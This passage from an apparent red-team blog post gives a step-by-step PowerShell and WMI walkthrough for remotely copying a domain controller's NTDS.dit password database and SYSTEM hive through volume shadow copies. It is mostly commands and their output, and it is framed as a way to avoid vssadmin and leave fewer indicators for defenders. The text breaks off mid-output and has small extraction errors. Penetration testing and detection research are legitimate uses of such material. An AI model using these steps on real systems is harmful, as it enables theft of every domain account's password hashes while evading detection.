Getting Started with WMI Weaponization – Part 4
Total Page:16
File Type:pdf, Size:1020Kb
Getting Started with WMI Weaponization – Part 4 written by Alexander Polce Leary | April 13, 2017 Stealing the NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class Dumping password hashes is a pretty common task during pentest and red team engagements. For domain controllers, it can be done a number of different ways including, but not limited to, DCSync (drsuapi), lsadump, and parsing the ntds.dit directly. Sean Metcalf has already covered how to execute the password hash recovery both locally and remotely in an amazing blog. Each with its own set of IoCs. In this post I’ll cover yet another method for recovering the ntds.dit file remotely using WMI Volume Shadow Copy methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file. Please note the technique described here does require domain administrative privileges. Why would I use this technique? On the whole, this technique will provide penetration testers with another means of dumping the ntds.dit via volume shadow copies without having to call the vssadmin.exe tool. This helps to decrease the number of indicator related to the attack. Testing with this method can also help to push against blue team’s defense to make sure they can identify slight variations on this common attack. Let’s See Some Command Examples Let’s just jump right into it. Below are the PowerShell WMI commands to dump the ntds from a remote domain controller using the Win32_ShadowCopy class functions. 1. First, map the c$ of the target domain controller. This isn’t required, but can simplify the process. PS C:\windows\system32> New-PSDrive -Name "S" -Root "\\10.1.1.1\c$" -PSProvider "FileSystem" Name Used (GB) Free (GB) Provider Root ---- --------- --------- -------- --- - S FileSystem \\10.1.1.1\c$ PS C:\windows\system32> cd s: PS S:\> ls Directory: \\10.1.1.1\c$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 2/13/2015 8:27 PM PerfLogs d-r-- 8/26/2016 8:00 PM Program Files d-r-- 6/13/2016 7:00 PM Program Files (x86) d-r-- 12/5/2016 2:38 PM Users d---- 2/5/2017 4:16 PM Windows 2. Then, create a shadow copy of the C:\ drive on the remote domain controller using the Win32_ShadowCopy“ ” class. Note that the new shadow copy has a unique “ShadowId”. PS S:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','C:\' - ComputerName 10.1.1.1 PS S:\> $wmi __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 2 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 ShadowID : {7DE8D573-A8BFB-41E6-92F6- A34938E432FC} PSComputerName : 3. Next, convert the “ShadowId” to a string and use it to query the domain controller for more information about the shadow copy. Specifically, we want the “DeviceObject”. This will give us the path to our newly created shadow copy. PS S:\> $ShadowID = $wmi.ShadowID.ToString() PS S:\> $ShadowID {7DE8D573-A8FB-41E6-92F6-A34938E432FC} PS S:\> $ShadowCopy = Get-WmiObject -Query "SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = '$ShadowID'" -ComputerName 10.1.1.1 PS S:\> $ShadowCopy __GENUS : 2 __CLASS : Win32_ShadowCopy __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : DeviceObject : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621 PSComputerName : 4. Next, convert the “DeviceObject” to a string so it can be used in future WMI queries. PS S:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString() PS S:\> $DeviceObject \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621 5. Now copy the ntds.dit directly from the shadow copy path on the domain controller using the WMI “Win32_Process” class. By default, the ntds.dit can be stored in both the C:\Windows\NTDS and C:\Windows\System32\ directories. Below are example commands for both. PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" - ComputerName 10.1.1.1 PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\NTDS\ntds.dit C:\" -ComputerName 10.1.1.1 PS S:\> Copy-Item S:\ntds.dit C:\ PS S:\> Remove-Item S:\ntds.dit PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\config\SYSTEM C:\" - ComputerName 10.1.1.1 PS S:\> Copy-Item S:\SYSTEM.dit C:\ PS S:\> Remove-Item S:\SYSTEM PS S:\> Set-Location C:\ PS C:\> Remove-PSDrive S But what if the ntds.dit file isn’t stored on the C drive? Surprise! Sometimes admins put system files in strange places. If you can’t find the ntds.dit in its default locations, you can determine where it’s hiding by looking in the registry. Below I’ll show how to use PowerShell Remoting to look up the alternative location and dump the ntds.dit. 1. To prep our box we are going to enable PowerShell Remoting, enabled the WinRM service, and set the domain controller as a trusted host. PS C:\> Enable-PSRemoting –Force –SkipNetworkProfileCheck PS C:\> Start-Service WinRM WinRM Security Configuration. This command modifies the TrustedHosts list for the WinRM client. The computers in the TrustedHosts list might not be authenticated. The client might send credential information to these computers. Are you sure that you want to modify this list? [Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y 2. Now start a new PowerShell Remoting session to the domain controller. From there we can grab the location of the elusive non-standard ntds.dit file path. PS C:\> Enter-PSSession 10.1.1.1 [10.1.1.1]: PS C:\Users\admin\Documents> Set-Location C:\ [10.1.1.1]: PS C:\> $DitPath = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -Name "DSA Database file").'DSA Database file' [10.1.1.1]: PS C:\> $DitPath D:\NTDS\ntds.dit This could also be done remotely via WMI PS C:\> $Hive = [uint32]2147483650 PS C:\> $Key = "SYSTEM\\CurrentControlSet\\Services\\NTDS\Parameters" PS C:\> $Value = "DSA Database File" PS C:\> $DitPath = (Invoke-WmiMethod -Class StdRegProv -Name GetStringValue -ArguementList $Hive, $Key, $Value - ComputerName 10.1.1.1).sValue PS C:\> $DitPath D:\NTDS\ntds.dit 3. Now that we have the path we’ll create our shadow copy and grab the “DeviceObject” so we can copy the file off. [10.1.1.1]: PS C:\> $DitRelativePath = $DitPath.Split("\")[1..($DitPath.Length)] -Join "\" [10.1.1.1]: PS C:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','F:\' [10.1.1.1]: PS C:\> $wmi __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 2 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 ShadowID : {A6EAFEDD-8FB2-4EBE-A13B- C992C7E2E265} PSComputerName : [10.1.1.1]: PS C:\> $ShadowID = $wmi.ShadowID.ToString() {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265} [10.1.1.1]: PS C:\> $ShadowCopy = Get-WmiObject -Class Win32_ShadowCopy -Property DeviceObject -Filter "ID = '$($wmi.ShadowID)'" [10.1.1.1]: PS C:\> $ShadowCopy __GENUS : 2 __CLASS : Win32_ShadowCopy __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : DeviceObject : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641 PSComputerName : [10.1.1.1]: PS C:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString() [10.1.1.1]: PS C:\> $DeviceObject \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641 4. The powershell native Copy-Item fails to retrieve the file from the VolumeShadow Copy snapshot. So we are going to get fancy with our file copy to change it up a little. First we are going to get the runtime version and directory of .net. [10.1.1.1]: PS C:\> $mscorlib = [System.Reflection.Assembly]::LoadFile("$([System.Runtim e.InteropServices.RuntimeEnvironment]::GetRuntimeDirecto ry())mscorlib.dll") [10.1.1.1]: PS C:\> $mscorelib GAC Version Location --- ------- -------- True v4.0.30319 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorl.. 5. Next, we instantiate an object from the “Win32.Win32Native” class. [10.1.1.1]: PS C:\> $Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’) [10.1.1.1]: PS C:\> $Win32Native IsPublic IsSerial Name BaseType -------- -------- ---- -------- False False Win32Native System.Object 6. This object will then be used to call the native “CopyFile”. [10.1.1.1]: PS C:\> $CopyFile = $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’)) [10.1.1.1]: PS C:\> $CopyFile Name : CopyFile DeclaringType : Microsoft.Win32.Win32Native ReflectedType : Microsoft.Win32.Win32Native MemberType : Method MetadataToken : 100677580 Module : CommonLanguageRuntimeLibrary IsSecurityCritical : True IsSecuritySafeCritical : False IsSecurityTransparent : False MethodHandle : System.RuntimeMethodHandle Attributes : PrivateScope, Assembly, Static, HideBySig, PinvokeImpl CallingConvention : Standard ReturnType : System.Boolean ReturnTypeCustomAttributes : Boolean ReturnParameter : Boolean IsGenericMethod : False IsGenericMethodDefinition : False ContainsGenericParameters : False MethodImplementationFlags : PreserveSig IsPublic : False IsPrivate : False IsFamily : False IsAssembly : True IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsFinal : False IsVirtual : False IsHideBySig : True IsAbstract : False IsSpecialName : False IsConstructor : False CustomAttributes : {[System.Runtime.InteropServices.DllImportAttribut e("kernel32.dll", EntryPoint = "CopyFile", CharSet = 4, ExactSpelling =